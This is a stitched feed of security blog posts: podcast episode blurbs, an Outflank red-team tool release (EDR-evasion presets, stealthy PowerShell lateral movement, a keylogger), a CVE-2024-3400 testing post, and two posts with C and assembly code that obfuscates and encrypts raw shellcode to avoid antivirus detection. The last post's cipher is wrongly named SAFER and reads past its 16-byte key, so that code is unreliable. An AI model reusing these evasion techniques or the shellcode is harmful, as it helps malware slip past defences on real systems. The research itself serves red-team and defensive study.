Today on Cyber Work, we continue our deep dive into industrial control systems and operational technology security by talking with Donovan Tindill of DeNexus. Now, I’m just going to come out and say it: Tindill's episode is like a cybersecurity career seminar in a box, and a must-not-miss if you’re interested in not just ICS and OT security, but specifically the realm of Risk Assessment. Tindill brought slides and literally lays out his entire career for us to see, including the highs and even some of the lows, and what he learned from them. He explains the fuzzy distinctions between ICS security and the act of determining risk for said systems, gives us a 60 year history of the increasing attack surface and number or risk types associated with operational technology, and gives us tons of great career advice and ways to get started.

0:00 - Careers in operational technology
2:01 - Donovan Tindill's interest in tech
5:30 - Tindill's career roles in cybersecurity
10:42 - The jump to a supervision role
13:19 - Average day for a director of OT cybersecurity
18:39 - Volunteerism with Public Safety Canada
22:57 - Tindill's talk on active directory a decade later
23:43 - Current operational technology challenges
29:26 - New SEC regulations
33:54 - Thoughts on the SEC regulations
35:37 - How to work in OT, ICS or risk assessment
40:34 - Skill gaps for OT, ICS and risk management
42:44 - Tindill's favorite work
45:36 - Best cybersecurity career advice
48:22 - What is DeNexus?
52:22 - Learn more about Tindill and DeNexus
53:22 - Outro

– Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.

💾

OST Release Blog: EDR Tradecraft, Presets, PowerShell Tradecraft, and More 

29 April 2024 at 16:15

Malicious actors continuously deploy new or improved techniques. Red teams must maintain an equally rapid pace of development of their tooling arsenal to remain effective at testing evolving defensive measure and preparing organizations for advanced threats. With the dedicated research and development efforts from the Outflank team, OST is constantly evolving, with additions of new, leading-edge tools unique to the market as well as regular enhancements to our existing tools. 

In this quarterly release blog, we’ll summarize some of the latest updates we’ve made over the past few months.  

EDR Tradecraft

Over the last few years we have clearly seen the big EDR names in the market up their game. Generally, we can say that they are doing a great job and that EDR-bypasses are becoming harder. However, EDRs can’t be expected to do magic, so there are still impressive, highly technical techniques that completely fly under the radar of even top tier EDRs.  

An important change here is EDR bypass diversification: techniques that bypass all EDRs in one go are now increasingly less common. It is becoming more important for red teamers to know which exact technique to use (or not use) for a specific EDR. Up-to-date knowledge is important—particularly knowledge on how a specific EDR gets its data, how it works under the hood and where its blind spots and bypass opportunities lie. For OST we aimed on better equipping our customers with exactly that: knowledge. 

Our experts spent months conducting deep technical research on the inner workings of major EDRs on the market. This resulted in significant updates to our documentation, detailing relevant details on the inner workings of EDRs, detailing generic bypass techniques, and major EDR specific techniques to use and techniques to not use. In our analysis of the behavioral detection methods of major EDRs, we were also able to both broaden our findings to provide strategies for general EDR evasion and create a methodology for when a more targeted approach is needed to avoid detection.   

EDR Presets: An Opportunity for Community Sharing 

We didn’t stop at EDR tradecraft knowledge in written form. We also wanted to make it more tangible and readily available in some of our tools. We started with what we call “EDR Presets” in our Payload Generator

Payload Generator allows red team operators to easily create payloads with a wide range of decoy tricks, binary transformation options (such as prepending random shellcode), payload transformation options (such as encoding), encryption and compression, encryption possibilities, process creation techniques (such as Write Hook, KernelCallbackTable, Earlybird, in-process thread), as well as OPSEC tricks,  guardrails and many more. The total set of option combinations easily surpasses a hundred, and it is critical to select the proper combination to bypass specific EDRs. EDR Presets are configuration sets of these 100+ settings in the Payload Generator.  

Each EDR Preset has demonstrated the ability to evade detection by a certain EDR system at specific points in time. Though presets are incredibly useful and are a significant time saver for red team operators, they do have a limited shelf life. In order to maintain an up-to-date library of effective presets, we obviously perform ongoing lab testing. But as OST has a large community of active users, we decided to use that power of the community. We have implemented a secure way where OST users can contribute such presets they discovered during their engagements. This collaborative effort highlights the benefit of being a part of a strong user community, providing access to a collective pool of knowledge from which everyone can benefit. 

Although this was simple in theory, the implementation took some time. Ultimately, it was very much worth the effort. EDR presets have quickly become a key feature that OST customers like, and we are proud to say that the community is actively using the sharing functionality.  

PowerShell Tradecraft 

PowerShell is often difficult to use in an OPSEC safe manner, as it can be challenging to sufficiently obfuscate. However, we have developed a new technique that, using some PowerShell trickery, allows for stealthy lateral movements. We’re not sharing too many details here on purpose because, as far as we know, this is not a publicly known technique. 

Our tool can be used on its own, but we also wanted to integrate this in both Cobalt Strike and our own C2: Stage1 C2. The latter meant we needed to make Stage1 have support for PowerShell as well, so we went ahead and added this functionality.  

New Microtools 

While OST contains many tools with multi-functional capabilities, there are also times when a smaller tool is what’s called for. Two new tools we added this quarter were: 

  • WSManexec: This BOF to the internal C2 tool collection enables remote command execution via WSMan (the protocol used by WinRM) in a stealthy manner 
  • Keyper: This is a simple yet effective .NET keylogger that we created in response to user requests. It’s fully compatible with Stage1 and Cobalt Strike, but can also be useful as a standalone tool.  

Additional Updates 

  • Stage1: The speed of SOCKS tunneling has been greatly accelerated.
  • PetitPotam and PetitSystem:  The PetitPotam and PetitSystem BOFs now have wider system support for Windows 10/11 desktops and servers. The RPC interface that was used by PetitPotam/PetitSystem to trigger EFS is no longer present on new Windows 11 clients. We researched alternative interfaces and made an update that supports both older and newer Windows versions. While this interface is not running by default, the tooling now triggers the EFS service to start first, after which the interface will be accessible. 
  • LAPSDump: This BOF now supports LAPS version 2. 

The Continuing Growth of OST 

Our formula for success with OST has consistently been grounded in three key pillars in order to support other red teams: tools, tradecraft, and community. Developing novel new tools that simplify and enhance engagements, offering educational opportunities that provide insightful new intel, and cultivating a solid community that facilitates connections and the exchange of experiences has enabled sustained growth and expansion. This proven formula also positions us to continue innovating, and we can’t wait to share more of what we’re working on.  

If you’re interested in seeing all of the diverse offerings in OST, we recommend scheduling an expert led demo. 

The post OST Release Blog: EDR Tradecraft, Presets, PowerShell Tradecraft, and More  appeared first on Outflank.

Insomni’hack 2024 – Bash to the Future writeup

28 April 2024 at 20:41
The Challenge You have been contracted to help COPERNIC Inc spot the light on a potential compromise. It seems that one of their scientists has been spied through a 20 years old malware… And fortunately, Zeus was on your side since the 4 Gb snapshot was carried out at the best possible time to facilitate … Continue reading Insomni’hack 2024 – Bash to the Future writeup

Shellcode: Data Masking 2

By: odzhan
29 April 2024 at 08:08

Introduction

This is a quick follow up post to Data Masking that discussed how one might use the Fisher-Yates shuffle and a DRBG to mask shellcode. There’s a lot of ways to mask data that don’t involve using an XOR operation but despite being relatively simple to implement are rarely used. You can use involutions, partial encryption, base encoding, simple arithmetic using addition and subtraction or modular variants. In the past, I’ve found components of block and stream ciphers to be a good source of techniques because the operations need to be invertible. In this post we’ll look at how easy it is to use byte substitution.

Substitution Box

Although substitution ciphers date back to ancient times, DES was first to use fixed s-box arrays for encrypting data. Since then, such non-linear operations have become a standard component of many block ciphers. To implement, we perform the following steps:

  1. Initialize 256-byte array we call “s-box” using [0, 255]
  2. Shuffle s-box using random seed.
  3. Create inverse s-box.

This S-Box can then be used for masking data and the inverse can be used for unmasking. The reason we use a random seed to shuffle the s-box is so that the masked data is always different. Here’s a snippet of C code to demonstrate…

//
// simple byte substitution using fisher-yates shuffle and DRBG
//
typedef struct _mask_ctx {
    uint8_t sbox[256], sbox_inv[256];
} mask_ctx;

void
init_mask(mask_ctx *c) {
    uint8_t seed[ENCRYPT_KEY_LEN];
    
    // initialise sbox
    for (int i=0; i<256; i++) {
        c->sbox[i] = (uint8_t)i;
    }
    // initialise seed/key
    random(seed, ENCRYPT_KEY_LEN);

    // shuffle sbox using random seed.
    shuffle(seed, c->sbox, 256);

    // create inverse
    for (int i=0; i<256; i++) {
        c->sbox_inv[c->sbox[i]] = i;
    }
}

// mask buf
void
encode(mask_ctx *c, void *buf, size_t len) {
    uint8_t *x = (uint8_t*)buf;
    
    for (size_t i=0; i<len; i++) {
        x[i] = c->sbox[x[i]];
    }
}

// unmask buf
void
decode(mask_ctx *c, void *buf, size_t len) {
    uint8_t *x = (uint8_t*)buf;
    
    for (size_t i=0; i<len; i++) {
        x[i] = c->sbox_inv[x[i]];
    }
}

void
dump(const char *str, void *buf, size_t len) {
    uint8_t *x = (uint8_t*)buf;
    
    printf("\n%s:\n", str);
    
    for (size_t i=0; i<len; i++) {
        printf(" %02X", x[i]);
    }
}

int
main(int argc, char *argv[]) {
    mask_ctx c;
    uint8_t buf[32];
    
    // using random bytes here for testing..
    random(buf, sizeof(buf));
    
    init_mask(&c);
    dump("raw", buf, sizeof(buf));
    
    encode(&c, buf, sizeof(buf));
    dump("encoded", buf, sizeof(buf));
    
    decode(&c, buf, sizeof(buf));
    dump("decoded", buf, sizeof(buf));
    
    return 0;
}

And here’s the output of the program.

You can simplify the above example by just using the srand(), rand() functions and a modulo operator instead of a DRBG. See the full example here.

Since it’s a bit more complicated than it needs to be. What we can do is repurpose the key initialization of RC4 and derive an inverse lookup table from that. Here’s a little more code to demonstrate.

typedef struct _mask_ctx {
    uint8_t sbox[256];
    uint8_t key[16];
    uint8_t sbox_inv[256];
} mask_ctx;

// initialise using RC4
void
init_mask(mask_ctx *c) {
    // initialise sbox
    for (size_t i=0; i<256; i++) {
        c->sbox[i] = (uint8_t)i;
    }
    // shuffle sbox
    for (size_t i=0, j=0; i<256; i++) {
        j = (j + (c->sbox[i] + c->key[i % 16])) & 255;
        uint8_t t = c->sbox[i] & 255;
        c->sbox[i] = c->sbox[j];
        c->sbox[j] = t;
    }
    // create inverse
    for (size_t i=0; i<256; i++) {
        c->sbox_inv[c->sbox[i]] = i;
    }
}

// mask or unmask
void
mask(uint8_t *sbox, size_t len, void *buf) {
    uint8_t *in = (uint8_t*)buf;
    uint8_t *out = (uint8_t*)buf;
    
    for (size_t i=0; i<len; i++) {
        out[i] = sbox[in[i]];
    }
}

In this case, mask() performs both encoding and decoding depending on the sbox array passed to it. And just for fun the 32-bit assembly code…

;
; Simple obfuscation using byte substitution.
;
    
    bits 32
    
%ifndef BIN
    global _init_mask_x86
    global init_mask_x86
    
    global _mask_x86
    global mask_x86
%endif

    section .text
    
    ;
    ; void init_mask_x86(mask_ctx*c);
    ;
_init_mask_x86:
init_mask_x86:
    pushad
    mov    edi, [esp+32+4]
    push   edi
    pop    esi
    xor    eax, eax          ; i=0
initialise_sbox:
    stosb                    ; c->sbox[i]=i
    inc    al                ; i++
    jnz    initialise_sbox   ; i<256
    cdq                      ; j=0
shuffle_sbox:
    ; j = (j + (c->sbox[i] + c->key[i % 16])) & 255;
    movzx  ecx, al           ; t = i % 16
    and    cl, 15            ;
    
    add    dl, [edi+ecx]     ; j += c->key[i % 16]
    mov    cl, [esi+eax]     ; t = c->sbox[i]
    add    dl, cl            ; j += c->sbox[i]
    xchg   cl, [esi+edx]     ; swap(t, s[j])
    mov    [esi+eax], cl
    
    inc    al                ; i++
    jnz    shuffle_sbox      ; i<256
    add    edi, 16
create_inverse:
    mov    dl, [esi+eax]     ; sbox_inv[sbox[i]] = i
    mov    [edi+edx], al     ; 
    inc    al
    jnz    create_inverse
    
    popad
    ret
    
    ;
    ; void mask_x86(void *sbox, size_t inlen, void *inbuf);
    ;
mask_x86:
_mask_x86:
    pushad
    lea    esi, [esp+32+4]
    lodsd
    xchg   ebx, eax          ; bx = sbox
    lodsd
    xchg   ecx, eax          ; cx = inlen
    lodsd
    xchg   esi, eax          ; si = inbuf
    push   esi
    pop    edi
mask_loop:
    lodsb                    ; al = in[i]
    xlatb                    ; al = sbox[al]
    stosb                    ; out[i] = al
    loop   mask_loop
    popad
    ret

Summary

There’s lots of ways to obfuscate data. Most people will use an XOR but this is a safe indicator of obfuscation and a way to detect it. Using byte substitution only requires a byte-to-byte mapping and probably harder to detect.

NodeZero: Testing for Exploitability of Palo Alto Networks CVE-2024-3400

25 April 2024 at 21:39

On April 12 (and then updated again on April 20), Palo Alto Networks released an advisory about a vulnerability in the PAN-OS® software that runs Palo Alto Networks® Next-Generation Firewalls (NGFWs). In the advisory it said, “A command injection as a result of arbitrary file creation vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall.”

A vulnerability that allows for the execution of arbitrary code with root privileges would be deemed critical since it would effectively allow an attacker to gain control over a device, and in this case, Palo Alto NGFWs running the vulnerable PAN-OS.

According to Shadowserver, there are several thousand internet-accessible Palo Alto Networks firewalls potentially affected by the vulnerability. Palo Alto Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by this vulnerability.

Horizon3.ai’s Rapid Response Advisory

On April 12 at 8:55AM EDT, Horizon3.ai sent all customers the beamer notification below via the NodeZero portal warning of the vulnerability, the fact it had been observed being exploited in the wild, saying that the Horizon3 Attack Team would continue to monitor the situation closely, and would provide updates as soon as possible.


Rapid Response Customer Notification #1

Horizon3.ai Announces Rapid Response New Attack Content

On Saturday, April 20 at 7:20 PM EDT, Horizon3.ai sent all customers the beamer notification below about NodeZero now having an exploit available so organizations can test for ‘exploitability’ of the vulnerability in their environments.


Rapid Response Customer Notification #2

NodeZero N-Day Test Available for CVE-2024-3400

The exploit developed by Horizon3.ai’s attack team is available on NodeZero to run as a targeted N-Day Test (or by running a standard internal or external pentest) using the configuration screen as shown below. Organizations can quickly determine if they are at risk of exploitation due to the known vulnerability – prior to patching their Palo Alto NGFWs. Organizations can also rerun the test after patching to verify the vulnerability is no longer exploitable in their environments.

NodeZero Example Attack Path for CVE-2024-3400

Organizations who launch the above N-Day test would see something similar to the attack path below if their Palo Alto NGFWs were vulnerable to exploitation by NodeZero.

NodeZero Vulnerability Narrative and Mitigations Guidance

Below is a screenshot from NodeZero providing a short narrative about the vulnerability, mitigations, the NodeZero module used in the test, the action log, and the MITRE ATT&CK tactic.

Example Proofs of Exploitability

Not only does NodeZero provide an attack path, but it also lists impacts and weaknesses. Even more important, NodeZero provides proof of exploitability. Seeing this proof allows security teams to fully understand their risk, and in this case, highlights two examples of post exploitation outcomes. In both of these cases below, arbitrary code execution with root privileges was completely possible.

Proof #1: PAN-OS application exploited to connect to attacker-specified external server

Proof #: PAN-OS application was exploited to create an empty file on the target and confirm a 403 server response

More About the Vulnerability

CVE-2024-3400 was published on the National Vulnerability Database (NVD) on April 12. Palo Alto then updated their Advisory on April 20. Palo Alto previously noted that turning off device telemetry could mitigate the vulnerability, but that is no longer their guidance. Device telemetry does not need to be enabled for PAN-OS NGFWs to be exposed to attacks related to this vulnerability.

Affected Versions of PAN-OS

PAN-OS (10.2, 11.0, 11.1) with GlobalProtect Gateway or Portal enabled are affected. Palo Alto strongly advises customers to immediately upgrade to a fixed version of PAN-OS to protect their devices even when workarounds and mitigations have been applied.

Severity of the Vulnerability

NVD Analysts, who use publicly available information to associate vector strings and CVSS scores, assigned this vulnerability the Base Score of 10.0 Critical. Attackers being able to execute arbitrary code with root privileges via command injection is a worse-case scenario.

Exploitability (Current Scope of the Attack)

According to Unit 42, Palo Alto Networks is aware of an increasing number of attacks that leverage the exploitation of this vulnerability. Proof of concepts for this vulnerability have been publicly disclosed by third parties. Here is one example.

Added to CISA Known Exploited Vulnerabilities (KEV) Catalog

CVE-2024-3400 was added to the KEV on April 12 since the vulnerability was observed being exploited in the wild.

Conclusion

Horizon3.ai’s attack team’s rapid response to this critical vulnerability demonstrates the value the team provides in the context of advising our customers, researching the vulnerability, rapidly developing an exploit, making the exploit available on NodeZero, and proving the exploit works.

Today, customers of Horizon3.ai are actively testing their internal and external environments with NodeZero to determine their risk exposure, quickly remediating those risks, and verifying they are no longer exploitable to this known vulnerability.

Vulnerabilities like this represent a critical security risk and organizations must immediately patch their PAN-OS software to mitigate the possibility of exploitation, especially if the software is exposed to the internet with the GlobalProtect feature enabled.

The post NodeZero: Testing for Exploitability of Palo Alto Networks CVE-2024-3400 appeared first on Horizon3.ai.

What a CCNA boot camp is like | Cyber Work Hacks

By: Infosec
25 April 2024 at 18:00

Infosec and Cyber Work Hacks podcast want to help you pass the CCNA exam! So, for today’s hack, let’s talk boot camps. The CCNA is an intimidating exam, especially if you’re trying to go it alone, just you and your self-study book. That’s why I’d like to introduce you to Infosec’s CCNA boot camp instructor, Wilfredo Lanz! He will explain what the Infosec 5-day CCNA boot camp is like, the learning and memorizing strategies you’ll employ and how boot camp training can help you pass on the first try. Lanz helps his students with every networking question, and students who commit to those five intensive days will see significant results. 

0:00 - What is a CCNA boot camp like? 
1:40 - Boot camp training versus university
6:37 - Do I need to bring anything to CCNA boot camp?
7:23 - Take CCNA exam after boot camp
8:25 - Advice for taking a CCNA boot camp
9:46 - Outro

About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.

💾

🇮🇹 Conosciamo Christopher Bianchi – Penetration Tester / Red Teamer

24 April 2024 at 09:03
Generalmente questo genere di articoli cominciano dicendo: “da piccolo ero solito smontare e rimontare cose..” mentre la verità è che a me non interessavano. In realtà, ero più interessato ai misteri del mondo “reale“, quello tangibile, come la natura, gli amici, il calcio. Mi piaceva giocare all’aria aperta, a pallone e correre con le moto. […]

How to get started in industrial control systems cybersecurity | Guest Robin Berthier

By: Infosec
22 April 2024 at 18:00

Today on Cyber Work, we are talking operational technology, or OT, security with guest, Robin Berthier of Network Perception. From his earliest studies to his time as an academic researcher, Berthier has dedicated his career to securing the intersection between operational technology and network security, with some pretty imaginative solutions to show for it. In today’s episode, Berthier explains why modern OT security means thinking more about the mechanics of the machinery than the swiftness of the software solutions, the big conversation that infrastructure and ICS Security need to have about nation-state attackers (and finally are having!) and Berthier's best piece of career advice turns into some excellent thoughts on the importance of maintaining your network… and I don’t mean routing and switching!

0:00 - Industrial control systems cybersecurity
1:54 - How Robin Berthier got into tech
3:38 - Majoring in cybersecurity
4:55 - Intrusion detection systems
9:18 - Mechanical and cybersecurity tools
12:33 Launching Network Perception
17:03 - Current state of ICS and OT infrastructure
20:24 - Cyberattacks on industrial control systems
28:35 -Skills needed to work in industrial control systems
35:19 - Where are ICS security jobs?
36:39 - Getting into local OT systems
37:55 - Skills gaps in ICS
39:21 - Best piece of career advice
41:01 - Cultivating a work network
43:28 - What is Network Perception?
45:27 - Learn more about Robin Berthier
45:58 - Outro

– Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.

💾

Fireside Chat: Horizon3.ai and JTI Cybersecurity

17 April 2024 at 21:00

Horizon3.ai Principal Security SME Stephen Gates and JTI Cybersecurity Principal Consultant Jon Isaacson discuss:

– What JTI does to validate things like access control, data loss prevention, ransomware protection, and intrusion detection approaches.
– How #pentesting and red team exercises allow orgs to validate the effectiveness of their security controls.
– Why offensive operations work best to discover and mitigate exploitable vulnerabilities in their client’s infrastructures.

The post Fireside Chat: Horizon3.ai and JTI Cybersecurity appeared first on Horizon3.ai.

Working as a CIO and the challenges of endpoint security| Guest Tom Molden

By: Infosec
15 April 2024 at 18:00

Today on Cyber Work, our deep-dive into manufacturing and operational technology (OT) cybersecurity brings us to the problem of endpoint security. Tom Molden, CIO of Global Executive Engagement at Tanium, has been grappling with these problems for a while. We talk about his early, formative tech experiences (pre-Windows operation system!), his transformational position moving from fiscal strategy and implementation into his first time as chief information officer and talk through the interlocking problems that come from connected manufacturing devices and the specific benefits and challenges to be found in strategizing around the endpoints. All of the endpoints.

0:00 - Manufacturing and endpoint security
1:44 - Tom Molden's early interest in computers
4:06 - Early data usage
6:26 - Becoming a CIO
10:29 - Difference between a CIO and CISO
14:57 - Problems for manufacturing companies
18:45 - Best CIO problems to solve in manufacturing
22:51 - Security challenges of manufacturing
26:00 - The scop of endpoint issues
33:27 - Endpoints in manufacturing security
37:12 - How to work in manufacturing security
39:29 - Manufacturing security skills gaps
41:54 - Gain manufacturing security work experience
43:41 - Tom Molden's best career advice received
46:26 - What is Tanium
47:58 - Learn more about Tom Molden
48:34 - Outro

– Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.

💾

The A in CTI Stands for Actionable

13 April 2024 at 18:43
CTI # Cyber Threat Intelligence is about communicating the latest information on threat actors and incidents to organizations in a timely manner. Analysis in these areas allows an organization to maintain situational awareness of the current threat landscape, organizational impacts, and threat actor motives. The level of information that needs to be conveyed is dependent on specific teams within CTI as specific levels on granularity depends on who you’re speaking to.

Are you ready for the CCNA exam? Test yourself with these questions | Cyber Work Hacks

By: Infosec
11 April 2024 at 18:00

Infosec and Cyber Work Hacks are here to help you pass the CCNA exam! For today’s Hack, Wilfredo Lanz, Infosec bootcamp instructor in charge of Cisco’s CCNA certification, walks us through four sample CCNA questions, walking through each answer and discounting the wrong ones with explanations, allowing you to reach the right answer in a logical and stress-free way. And the only way you’re going to see it is by staying right here for this Cyber Work Hack!

0:00 - CCNA exam sample questions
1:31 - Different types of CCNA exam questions
3:34 - First CCNA exam sample question
8:34 - Second CCNA exam sample question
13:52 - Third CCNA exam sample question
20:47 - Fourth CCNA exam sample question
25:22 - Infosec CCNA boot camp practice exam
27:04 - Advice for CCNA exam day
28:46 - Outro

Learn more about the CCNA: https://www.infosecinstitute.com/training/ccna/

About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.

💾

Malware and cryptography 26: encrypt/decrypt payload via SAFER. Simple C/C++ example.

9 April 2024 at 01:00

Hello, cybersecurity enthusiasts and white hackers!

cryptography

This post is the result of my own research on try to evasion AV engines via encrypting payload with another algorithm: SAFER. As usual, exploring various crypto algorithms, I decided to check what would happen if we apply this to encrypt/decrypt the payload.

SAFER

SAFER (Secure And Fast Encryption Routine) is a symmetric block cipher designed by James Massey. SAFER K-64 specifically refers to the variant with a 64-bit key size. It’s notable for its nonproprietary nature and has been incorporated into some products by Cylink Corp.

SAFER K-64 operates as an iterated block cipher, meaning the same function is applied for a certain number of rounds. Each round utilizes two 64-bit subkeys, and the algorithm exclusively employs operations on bytes. Unlike DES, SAFER K-64 is not a Feistel network.

practical example

For practical example, here is the step-by-step flow of the SAFER-64:

// extract left and right halves of the data block
L = data_ptr[0];
R = data_ptr[1];

// SAFER-64 encryption rounds
for (i = 0; i < ROUNDS; i++) {
  T = R ^ key_ptr[i % 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  L ^= (T + R);
  T = L ^ key_ptr[(i % 4) + 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  R ^= (T + L);
}

// update the data block with the encrypted values
data_ptr[0] = L;
data_ptr[1] = R;

So, the encryption function looks like this:

void safer_encrypt(unsigned char *data, unsigned char *key) {
  unsigned int *data_ptr = (unsigned int *)data;
  unsigned int *key_ptr = (unsigned int *)key;
  unsigned int L, R, T;
  int i;

  L = data_ptr[0];
  R = data_ptr[1];

  for (i = 0; i < ROUNDS; i++) {
    T = R ^ key_ptr[i % 4];
    T = (T << 1) | (T >> 31);
    L ^= (T + R);
    T = L ^ key_ptr[(i % 4) + 4];
    T = (T << 1) | (T >> 31);
    R ^= (T + L);
  }

  data_ptr[0] = L;
  data_ptr[1] = R;
}

What about decryption logic? The decryption process is not much different from encryption:

// extract left and right halves of the data block
L = data_ptr[0];
R = data_ptr[1];

// SAFER-64 decryption rounds
for (i = ROUNDS - 1; i >= 0; i--) {
  T = L ^ key_ptr[(i % 4) + 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  R ^= (T + L);
  T = R ^ key_ptr[i % 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  L ^= (T + R);
}

// Update the data block with the decrypted values
data_ptr[0] = L;
data_ptr[1] = R;

Respectively, SAFER-64 Decryption Function looks like this:

void safer_decrypt(unsigned char *data, unsigned char *key) {
  unsigned int *data_ptr = (unsigned int *)data;
  unsigned int *key_ptr = (unsigned int *)key;
  unsigned int L, R, T;
  int i;

  L = data_ptr[0];
  R = data_ptr[1];

  for (i = ROUNDS - 1; i >= 0; i--) {
    T = L ^ key_ptr[(i % 4) + 4];
    T = (T << 1) | (T >> 31);
    R ^= (T + L);
    T = R ^ key_ptr[i % 4];
    T = (T << 1) | (T >> 31);
    L ^= (T + R);
  }

  data_ptr[0] = L;
  data_ptr[1] = R;
}

Full source code for my main logic (“malicious” payload encryption) look like this (hack.c):

/*
 * hack.c - encrypt and decrypt shellcode via SAFER. C++ implementation
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/04/09/malware-cryptography-26.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

#define BLOCK_SIZE 8 // 64 bits
#define ROUNDS 6

void safer_encrypt(unsigned char *data, unsigned char *key) {
  unsigned int *data_ptr = (unsigned int *)data;
  unsigned int *key_ptr = (unsigned int *)key;
  unsigned int L, R, T;
  int i;

  L = data_ptr[0];
  R = data_ptr[1];

  for (i = 0; i < ROUNDS; i++) {
    T = R ^ key_ptr[i % 4];
    T = (T << 1) | (T >> 31);
    L ^= (T + R);
    T = L ^ key_ptr[(i % 4) + 4];
    T = (T << 1) | (T >> 31);
    R ^= (T + L);
  }

  data_ptr[0] = L;
  data_ptr[1] = R;
}

void safer_decrypt(unsigned char *data, unsigned char *key) {
  unsigned int *data_ptr = (unsigned int *)data;
  unsigned int *key_ptr = (unsigned int *)key;
  unsigned int L, R, T;
  int i;

  L = data_ptr[0];
  R = data_ptr[1];

  for (i = ROUNDS - 1; i >= 0; i--) {
    T = L ^ key_ptr[(i % 4) + 4];
    T = (T << 1) | (T >> 31);
    R ^= (T + L);
    T = R ^ key_ptr[i % 4];
    T = (T << 1) | (T >> 31);
    L ^= (T + R);
  }

  data_ptr[0] = L;
  data_ptr[1] = R;
}

int main() {
  unsigned char key[] = "\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77";
  unsigned char my_payload[] =
  "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
  "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
  "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
  "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
  "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
  "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
  "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
  "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
  "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
  "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
  "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
  "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
  "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
  "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
  "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
  "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
  "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
  "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
  "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
  "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
  "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
  "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
  "\x2e\x2e\x5e\x3d\x00";

  int len = sizeof(my_payload);
  int pad_len = (len + BLOCK_SIZE - 1) & ~(BLOCK_SIZE - 1);

  unsigned char padded[pad_len];
  memset(padded, 0x90, pad_len);
  memcpy(padded, my_payload, len);

  // encrypt the padded shellcode
  for (int i = 0; i < pad_len; i += BLOCK_SIZE) {
    safer_encrypt(&padded[i], key);
  }

  printf("encrypted:\n");
  for (int i = 0; i < sizeof(padded); i++) {
    printf("\\x%02x", padded[i]);
  }
  printf("\n\n");

